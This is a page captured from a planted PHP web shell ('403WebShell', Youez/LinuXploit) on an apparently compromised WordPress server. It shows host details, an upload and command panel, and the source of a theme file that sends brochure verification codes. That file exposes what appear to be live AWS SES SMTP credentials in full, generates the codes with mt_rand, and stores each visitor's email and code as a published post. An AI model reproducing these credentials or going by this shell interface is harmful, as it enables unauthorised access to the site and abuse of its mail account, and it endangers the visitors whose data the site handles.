Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/arukustech.com/wp-content/themes/arukus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/arukustech.com/wp-content/themes/arukus/send_verification_code.php
<?php
//get_header();
define('WP_USE_THEMES', false);
//require('https://dev.arukustech.com/wp-load.php');
$path = preg_replace( '/wp-content.*$/', '', __DIR__ );
require_once( $path . 'wp-load.php' );
//require("mailer/PHPMailer-master/src/PHPMailer.php");
//require("mailer/PHPMailer-master/src/SMTP.php");

$ip = $_SERVER['REMOTE_ADDR'];

// Get the email address from the AJAX request
$yourEmail = $_POST['email'];
$yourFullName = $_POST['yourFullName'];
$yourPhNumber = $_POST['yourPhNumber'];

// Check if data exists based on post title
$dataExists = $wpdb->get_var(
    $wpdb->prepare(
        "SELECT ID 
        FROM $wpdb->posts 
        WHERE post_title LIKE %s",
        '%' . $wpdb->esc_like( $yourEmail ) . '%'
    )
);

if ($dataExists) {

    wp_delete_post( $dataExists, true);
    // Data exists, delete the data
    // $wpdb->query(
    //     $wpdb->prepare(
    //         "DELETE FROM $wpdb->posts 
    //         WHERE post_title LIKE %s",
    //         '%' . $wpdb->esc_like( $yourEmail ) . '%'
    //     )
    // );

    // Success message
    //echo 'Data deleted successfully.';
} else {
    // No data found message
    //echo 'No data found.';
}




// Generate a 6-digit verification code
$verificationCode = mt_rand(100000, 999999);
        
// Set up the SMTP configuration
    $smtpHost = 'email-smtp.ap-south-1.amazonaws.com';
    $smtpUsername = 'AKIAYOTEITKZEDBWNLUZ';
    $smtpPassword = 'BE9WW5YpIcb+XU11fC/oWlMxJuA4UFuUXLY9NM+k6K+o';
    $smtpPort = 587; // Change the port if necessary

// Compose the email message
$subject = 'OTP verification for Arukus Technologies e-brochure';
// $message = "Hello,\n\n";
// $message .= "Thank you for your interest in our demo. Here is your verification code: $verificationCode\n\n";
// $message .= "Best regards,\n Arukus Technology";



// Send the email
//require_once 'PHPMailerAutoload.php';
$mail = new PHPMailer\PHPMailer\PHPMailer();
$mail->IsSMTP(); // enable SMTP
$mail->IsHTML(true);
$mail->SMTPDebug = 0; // debugging: 1 = errors and messages, 2 = messages only
//$mail = new PHPMailer;
//$mail->isSMTP();
//$mail->SMTPSecure = 'ssl';
$mail->Host = $smtpHost;
$mail->SMTPAuth = true;
$mail->Username = $smtpUsername;
$mail->Password = $smtpPassword;
$mail->SMTPSecure = 'tls';
$mail->Port = $smtpPort;
//$mail->setFrom($smtpUsername);
//$mail->addAddress($email);
$mail->SetFrom('no-reply@arukustech.com', 'Arukus Technogies');
$mail->FromName = "Arukus Technologies";
$mail->AddAddress($yourEmail);
$mail->Subject = $subject;
$mail->Body = '<html lang=en><meta charset=utf-8><title>Arukus Technologies</title><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.0/css/all.min.css rel=stylesheet><style>html{width:100%;margin:0;padding:0}body{-webkit-text-size-adjust:none;-ms-text-size-adjust:none;margin:0;padding:0;-webkit-font-smoothing:antialiased}table{border-spacing:0}img{display:block!important;outline:0;text-decoration:none;-ms-interpolation-mode:bicubic;border:none;height:auto;line-height:100%}img.image-inline{display:inline-block!important}p{padding:0;margin:0}br{line-height:0!important}a,b,div,em,i,li,p,span,strong,td{-webkit-text-size-adjust:none}table td,table tr{border-collapse:collapse}table{border-collapse:collapse;mso-table-lspace:0;mso-table-rspace:0}@media screen and (max-width:580px){table[class=table-wrappper]{width:100%!important}td[class=content-left-gap]{width:5%!important}table[class=content-table],td[class=content-table]{width:100%!important}td[class=banner-image] img{width:100%!important}table[class=main-table-wrappper]{width:100%!important}td[class=gap-01]{height:15px!important}td[class=space-01]{width:15px!important}table[class=table-wrappper] .heading01{font-size:20px!important}table[class=table-wrappper] .text01{font-size:14px!important;margin-bottom:24px!important}table[class=table-wrappper] .heading02{font-size:24px!important}td[class=content-border]{height:25px!important}table[class=table-wrappper] .heading03{font-size:18px!important}table[class=table-wrappper] .email-link{display:block!important;margin:10px 0!important}}@media screen and (max-width:420px){table[class=brand]{width:100%!important;text-align:left!important}table[class=website-btn]{width:100%!important;text-align:left!important}table[class=website-btn-tbl]{width:130px!important}}</style><body style=background-color:#d7d7d7><table align=center cellpadding=0 cellspacing=0 style="width:100%;border-left:15px solid #d7d7d7;border-right:15px solid #d7d7d7"bgcolor=#d7d7d7><tr><td height=28 class=gap-01><tr><td class=main-td><table align=center cellpadding=0 cellspacing=0 class=main-table-wrappper style=width:800px bgcolor=#ffffff><tr><td><table align=center cellpadding=0 cellspacing=0 class=table-wrappper style=width:800px><tr><td height=15 colspan=4><tr><td width=20><td align=left valign=top><table align=left cellpadding=0 cellspacing=0 class=brand style=width:109px><tr><td align=left><a href=https://dev.arukustech.com style=border:none;padding:0;text-decoration:none;border:none;cursor:pointer><img alt=Arukus Technologies height=39 src=https://dev.arukustech.com/wp-content/uploads/2023/07/logo-web.jpg style=border:none title=Arukus Technologies width=150></a></table><td align=right style=padding-top:9px valign=top><table align=right cellpadding=0 cellspacing=0 class=website-btn style=width:130px width=130><tr><td height=1 class=gap-01><tr><td align=right><table align=right cellpadding=0 cellspacing=0 class=website-btn-tbl width=100%><tr><td align=right style=height:35px><a href=https://dev.arukustech.com style=color:#fff;border-radius:4px;background-color:#eb553c;font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:14px;width:108px;height:15px;display:block;text-align:left;text-decoration:none;padding:10px;cursor:pointer;line-height:15px>Go Website</a></table></table><td width=20><tr><td height=15 colspan=4></table><tr><td class=banner-image><a href=# style=border:none;padding:0;text-decoration:none;border:none;cursor:pointer><img alt=Banner height=175 src=https://dev.arukustech.com/wp-content/uploads/2023/07/mail_banner.png style=border:none; box-sizing:border-box; title=Banner width=800></a><tr><td height=25 class=gap-01><tr><td><table align=left cellpadding=0 cellspacing=0 class=table-wrappper style=width:800px><tr><td class=content-left-gap width=25><td><table align=left cellpadding=0 cellspacing=0 class=content-table style=width:520px><tr><td align=left><p style="margin:0 0 28px;font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:13px;color:#293a47"class=text01><p style="margin:0 0 28px;font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:13px;color:#293a47">Dear '.$yourFullName.',<br><br>Thank you for your interest in Arukus Technologies. Please use the verification code below to download our e-brochure.<br><br><strong>'.$verificationCode.'</strong><br><br>If you did not request this, you can ignore this email.<br><br>Thanks<br>Arukus Technologies<tr><td height=38 class=content-border style="border-top:1px solid #cfcece"><tr><td align=center><p style="margin:0 0 6px;font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:22px;color:#293a47;font-weight:700"class=heading03>Get connected with us!<p style="margin:0 0 10px;font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:14px;color:#293a47"class=text01><a href=mailto:info@arukustech.com style=color:#293a47;text-decoration:none;margin-right:20px class=email-link><i class="fa-solid fa-envelope"></i> info@arukustech.com</a><a href="tel:(033) 4808-9668"style=font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:12px;color:#293a47;text-decoration:none><i class="fa-solid fa-phone-volume"></i> (033) 4808-9668</a><tr><td height=20><tr><td align=center><p style=margin:0;font-family:Verdana,Geneva,Tahoma,sans-serif;font-size:12px;color:#293a47>&copy;  Copyright '.date("Y").'. All Rights Reserved.<tr><td height=20></table><td class=content-left-gap width=25></table><tr><td height=9 bgcolor=#293a47></table><tr><td height=28 class=gap-01></table>';
//die('1234');
//var_dump($mail);

if ($mail) {
    if($mail->Send()) {

        $message = "Name: " . $yourFullName . "<br>"
         . "Email: " . $yourEmail . "<br>"
         . "Mobile No: " . $yourPhNumber . "<br>"
         . "IP Address: " . $ip;

        /*This is another email for Arukus */
        $arukusmail = new PHPMailer\PHPMailer\PHPMailer();
        $arukusmail->IsSMTP(); // enable SMTP
        $arukusmail->IsHTML(true);
        $arukusmail->SMTPDebug = 0; // debugging: 1 = errors and messages, 2 = messages only
        //$mail = new PHPMailer;
        //$mail->isSMTP();
        //$mail->SMTPSecure = 'ssl';
        $arukusmail->Host = $smtpHost;
        $arukusmail->SMTPAuth = true;
        $arukusmail->Username = $smtpUsername;
        $arukusmail->Password = $smtpPassword;
        $arukusmail->SMTPSecure = 'tls';
        $arukusmail->Port = $smtpPort;
        //$mail->setFrom($smtpUsername);
        //$mail->addAddress($email);
        $arukusmail->SetFrom('no-reply@arukustech.com', 'Arukus Technogies');
        $arukusmail->FromName = "Arukus Technologies";
        $arukusmail->AddAddress('info@arukustech.com');
        $arukusmail->AddAddress('sales@arukustech.com');
        
        $arukusmail->Subject = 'New Brochure Download Request';
        $arukusmail->Body = $message;
        if(!$arukusmail->Send())
        {
            echo json_encode(array('error' => 'Email sending failed.'));
            echo 'Oops! Something went wrong. Please try again later.';
        
        }
        else
        {
            // Store the verification code in session for later use
            session_start();
            $_SESSION['verification_code'] = $verificationCode;
            $_SESSION['user_email'] = $yourEmail;
            $_SESSION['yourFullName'] = $yourEmail;
            $_SESSION['yourPhNumber'] = $yourPhNumber;
            
            $post_id = wp_insert_post(array (
                'post_type' => 'downloaded-brochure',
                'post_title' => $yourEmail,
                'post_content' => $verificationCode,
                'post_status' => 'publish',
                'comment_status' => 'closed',   // if you prefer
                'ping_status' => 'closed',      // if you prefer
            ));

            echo json_encode(array('status' => 'success'));
            $_SESSION['requestDemo_captcha'] = '';
        
        }
    }
    else {
        // Return an error message if the email fails to send
        echo json_encode(array('error' => 'Email sending failed.'));
        echo 'Oops! Something went wrong. Please try again later.';
    }
} else {
    // Handle email sending failure
}

//get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit